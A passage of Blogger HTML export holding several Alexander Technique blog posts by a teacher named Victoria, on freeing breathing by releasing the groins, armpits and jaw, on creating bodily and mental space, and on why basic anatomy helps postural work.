for more air (principle of <b><span style="color: #403152; mso-themecolor: accent4; mso-themeshade: 128;">Habit</span></b>).<o:p></o:p></span></div>
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<br /></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Ok, enough theory
for today. Let’s go to something practical. But first, do a shake out of your
body to wake up. Move your neck, shoulders, hips, blink, yawn, wiggle your fingers
and toes… or just shake out vigorously like a wet dog.<o:p></o:p></span></div>
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<br /></div>
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<b><span style="color: #c00000; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Where do I need to create space to free up my
breathing?<o:p></o:p></span></b></div>
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<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">The places that you’ll generally hear when you ask this question are your
ribs (back and sides of your body) and your abdomen. And that is correct.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">However, I’m going to tell you about 3 other key areas that need to be
free to allow the back, ribs and abdomen to truly release their tension.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">I suggest you try the following exercise lying down in semi-supine.<o:p></o:p></span></div>
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<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #c0504d; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-themecolor: accent2;">1. Your groins.<o:p></o:p></span></b></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">When you create space in your hip joint for free movement of your leg,
you’ll find that the pelvic diaphragm, your lower back (lumbars), the abdominal
diaphragm and the lower ribs also release, as the pelvis comes into a better
relationship with the leg bone (femur).<o:p></o:p></span></div>
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<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #c0504d; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-themecolor: accent2;">2. Your armpits.<o:p></o:p></span></b></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">When there’s space in your shoulder joint, the neck, upper back and upper
ribs on your sides get a chance to release too.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #c0504d; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-themecolor: accent2;">3. Your jaw.<o:p></o:p></span></b></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">When you stop clenching your back molars and allow a little space between
the top and bottom back teeth, some of your face, throat, tongue and upper neck
tension are allowed to let go.<o:p></o:p></span></div>
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<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Now, <b><u><a href="http://vstanhamalexandertechnique.blogspot.com/2014/10/going-back-home.html" target="_blank">create space</a></u></b> in your whole torso
and neck by drawing imaginary diagonal lines that join opposite armpits and
groins, and opposite armpits and ears.<o:p></o:p></span></div>
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<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Finally, become
aware of the flow of air that goes in and out naturally as your system
breathes. When the air comes in, allow your jaw, armpits and groins to let go a
little more, feeling how the sides of your body expand.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">When the aire
comes out, allow your diagonal lines to let go a little more and expand your
whole torso and neck, feeling how you thus grow in width and length.<o:p></o:p></span></div>
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<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">If you’re feeling adventurous and want to play around a little with your
breathing, you can try making your exhales longer than your inhales, by just
thinking a longer release across your diagonals as the air comes out. This is a
great exercise to calm down the nervous system, for it slows down your
breathing rate without tension.<o:p></o:p></span></div>
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<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">Always remember that <b><span style="color: #c00000;">you are not “doing”
anything, you’re simply “allowing” breathing to happen more freely</span> </b>by
letting go of unnecessary tension and thus creating more inner space.<o:p></o:p></span></div>
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<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">And since we’re
already breathing so freely, why don’t we go ahead and yawn and stretch
allowing our bodies to expand and contract freely?<o:p></o:p></span></div>
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<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">This week, I
invite you to experiment and play around with these ideas on breathing, and
then tell me if you want what you discovered.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">If you have any
questions, doubts or comments, please feel free to write it down below or send
me and <b><u><a href="mailto:vstanham@gmail,com" target="_blank">email</a></u></b>.<o:p></o:p></span></div>
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<br /></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Let us close this
meeting by returning to our centres, breathing there, allowing the waters to
come to a stand still, and thus preparing ourselves for our next activity.<o:p></o:p></span></div>
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<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">See you next time.<o:p></o:p></span></div>
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<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="color: #c00000; font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Victoria.<o:p></o:p></span></b></div>
<br />
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Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-574841750375577755.post-47216243308146873182014-10-03T15:53:00.003-03:002014-10-03T15:53:55.693-03:00Going Back Home<div align="center" class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: center;">
<span style="color: #c00000; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">A
blog about creating spaces<o:p></o:p></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-LRE9cSQrw3Y/VC7pqmtT7oI/AAAAAAAAF8g/kDjYnluv2hw/s1600/bank-409368_640.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-LRE9cSQrw3Y/VC7pqmtT7oI/AAAAAAAAF8g/kDjYnluv2hw/s1600/bank-409368_640.jpg" /></a></div>
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<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Hello. I’m Victoria. Welcome to the blog. How are you
today?<o:p></o:p></span></div>
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<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">I tend to be a
bit hurried; out of my center. That’s why I like to stop when I do realize
something new is about to start.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Let me invite you
to center ourselves. Just stop with whatever you were doing, notice your
breathing and the sensations that arrive to your from your senses. Let’s inhale
and exhale together…or go ahead and <b><u><a href="http://vstanhamalexandertechnique.blogspot.com/2014/09/in-defense-of-good-yawn.html" target="_blank">YAWN</a></u></b>!<o:p></o:p></span></div>
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<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Thank you. Now
yes, let’s begin.<o:p></o:p></span></div>
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<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">In this blog I’d
like to tell you about what I’ve learnt about <span style="color: #c00000;">creating
spaces: mental and physical spaces, spaces within and without, spaces between
the stimulus and my response.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">I’ll be happy if
by the end of this blog I am able to communicate some of this <span style="color: #c00000;">freedom that comes from giving oneself those spaces</span>;
and if you don’t know anything about it, perhaps to tempt you to try it out for
yourself.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #c00000; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"> What has been your personal experience with
your personal space?<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">I’m going to show
you how I create my own.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">I work from the
following principles:<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #0070c0; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Unity:</span></b><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"> If I create
space in my body, I’ll have space in my mind to think clearer.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #4bacc6; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-themecolor: accent5;">Design:</span></b><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">
My body is designed to occupy a certain space in full freedom, and it will do
so if I allow it to.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #7030a0; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Use-Structure-Functioning:</span></b><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">
When I give my structures their due space, they seem to work a lot better.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #8064a2; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-themecolor: accent4;">Improving perception:</span></b><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">
When structures have space, I can perceive them better than when they are all
tight and pressed together.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #002060; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Stop
and Choose:</span></b><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"> Since my habit is to trip over myself in my
haste to do stuff, I need to stop before acting, to give myself space to choose
better.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #31849b; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191;">How over
What:</span></b><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"> I can only give myself physical space if I
give myself mental space too. How I give myself those spaces is important. That
is why, if I’m all hurried and frazzled, I lay down in semi-supine which gives
me the best conditions to actually stop.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">How about if we
stop before moving on, and give ourselves a little space?<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">I invite you to
yawn and stretch a little, just to lighten up and air out the tissues and
joints.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Ok, so, <span style="color: #c00000;">how do I create my spaces?</span><o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #c00000; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">The
first thing to do is decide which spaces need to be made available.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #c00000; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Where
is the flow of movement or energy getting stuck? Where is the tension? Where do
I feel out of rhythm or out of tune?<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Once I identify
the area that is asking for more space to work better or to become integrated
to the whole, <span style="color: #c00000;">I look in its structure for some
points to use as reference</span>, and try to understand how the area is
designed to work.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">If what I want is
to create space in my feet, I can look at their bony anatomy in a book, and
then palpate the area in my own body.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">If I have no idea
where to start or what to do, I ask for help from someone who know a little bit
more than I do.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #c00000; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">I
choose two points in the structure that I want to free up. I touch them
simultaneously and realize there is a space between them. I joint them with an
imaginary line and imagine that the ends of that line float away from each
other, as if carried away by opposing water currents.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">I invite you to try this out for
yourself. Choose some points in your body, join them with imaginary lines, and
alow those points to float away from each other. It helps to do all this while
lying down on the floor, with your knees bent and your feet on the floor, and
your head lying on one or two paperback books.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">While doing this exercise, <span style="color: #c00000;">recognize all the space that is available between point
and point. You can also acknowledge the space around you, allowing your lines
to float beyond the limits of your skin, into your surrounding space.<o:p></o:p></span></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="color: #c00000;"><br /></span></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">This space that you create within,
without, between you and the stimuli that arrive to you, <span style="color: #c00000;">this space makes you multi-dimensional, it makes your
real, it gives you back to yourself.<o:p></o:p></span></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="color: #c00000;"><br /></span></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">I invite you to live from this space
and to return to it as many times as you wish.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">It is your own personal space after
all.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="color: #c00000; font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">It is your house, your
true home.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">See you next time.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
<br />
<div class="MsoNormal">
<span lang="ES-UY" style="color: #c00000; font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Victoria<o:p></o:p></span></div>
Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-574841750375577755.post-47334905370823945022014-09-27T20:57:00.000-03:002014-09-29T14:43:56.118-03:00Is Knowledge of Anatomy Necessary for Postural Work?<div class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: center;">
<span style="color: #c00000; font-size: 14pt;">A
blog about why some anatomy basics are useful in coordination work.</span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-kuR-hamDTK4/VCdG1G2nUBI/AAAAAAAAF8A/aRcWGkm6xlk/s1600/activity-316722_640.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-kuR-hamDTK4/VCdG1G2nUBI/AAAAAAAAF8A/aRcWGkm6xlk/s1600/activity-316722_640.jpg" /></a></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Welcome to the
blog. We’re starting right away, so get comfy to read.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">Let’s breathe fully and deeply once together, just so we’re both on the
same page.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">Ok. Let’s start.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Today’s blog will
try to explain <span style="color: #c00000;">why I believe it’s important to know
some basic anatomy in any attempt at trying to correct postural issues</span>.
I’ll be happy if by the time you’ve finished reading you are able to <span style="color: #c00000;">recognize anatomical knowledge as something alive, in
constant development, something that grows from evolving ideas and sensory
information.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">What attracts you
to the study of anatomy?<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">To beging with,
let’s recap <span style="color: #c00000;">the paradigm</span> from which we’ll
look at the issue.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #0070c0; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Unity:</span></b><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"> we learn with
our mind and with our bodies, and we consider the body as an integrated whole.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #7030a0; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Use-Function-Structure:</span></b><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">
we look at anatomy (structure) in relation to what function it performs,
remembering that our use affects both.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #4bacc6; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-themecolor: accent5;">The Coherence in our Design:</span></b><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">
everything in our anatomical design has a reason for being there.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #8064a2; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-themecolor: accent4;">Interferences to Accurate Perception:</span></b><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">
our ideas about our bodies and the feelings and sensations we get from it don’t
always coincide, and sometimes our ideas are way off-center.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #31849b; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191;">How above
What:</span></b><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"> It’s more importante to understand how it works,
how the bits and pieces relate to each other and to the whole, than to fill
ourselves up with anatomical data and trivia that we cannot comprehend nor make
practical use of.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #002060; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">The
force of Habit:</span></b><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"> Old ideas die hard, like weeds… they
come back again and again every time we let our guard down.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Let’s now
consider <span style="color: #c00000;">why it’s a good idea to study some basic
anatomy</span>.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #c00000; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">But before moving on, yawn and stretch. </span></b><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">If
we hold one attitude of mind and body for too long, our bodies and brains go
numb. Move your tissues a bit to allow oxygenated blood to return to them.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Great. Let’s
continue.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal">
<b><span style="color: #0070c0; font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Does knowing anatomy guarantee I’ll
have good posture?<o:p></o:p></span></b></div>
<div class="MsoNormal">
<b><span style="color: #0070c0; font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></b></div>
<div class="MsoNormal">
<b><span style="color: #c00000; font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">No.</span></b><span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"> If knowing anatomy automatically made you an
elegantly poised individual, then all doctors, anatomists, physiotherapists and
P.E. teachers would be paragons of good posture and carriage. Sadly, this is
not the case.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
<div class="MsoNormal">
<b><span style="color: #0070c0; font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">What’s the use of studying
anatomy then?<o:p></o:p></span></b></div>
<div class="MsoNormal">
<b><span style="color: #0070c0; font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></b></div>
<div class="MsoNormal">
<b><span style="color: #c00000; font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">1. Good posture is a matter of
coordination.</span></b><span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"> If you’re not
one of those naturally (and unconsciously) well-coordinated people, then you’ll
have to learn conscious coordination. In order to do this, <span style="color: #c00000;">you need to be able to feel where your different body
parts are and what they’re doing in relation to each other</span>. And for this
you’ll need <span style="color: #c00000;">to know your most important bits and
how they feel.<o:p></o:p></span></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="color: #c00000;"><br /></span></span></div>
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<b><span style="color: #c00000; font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">2.</span></b><b><span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"> <span style="color: #c00000;">Knowing basic anatomy (name, shape and feel of the main
bones and joints) gives you a common language to be able to follow instructions
in an intelligent way.<o:p></o:p></span></span></b></div>
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<b><span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="color: #c00000;"><br /></span></span></b></div>
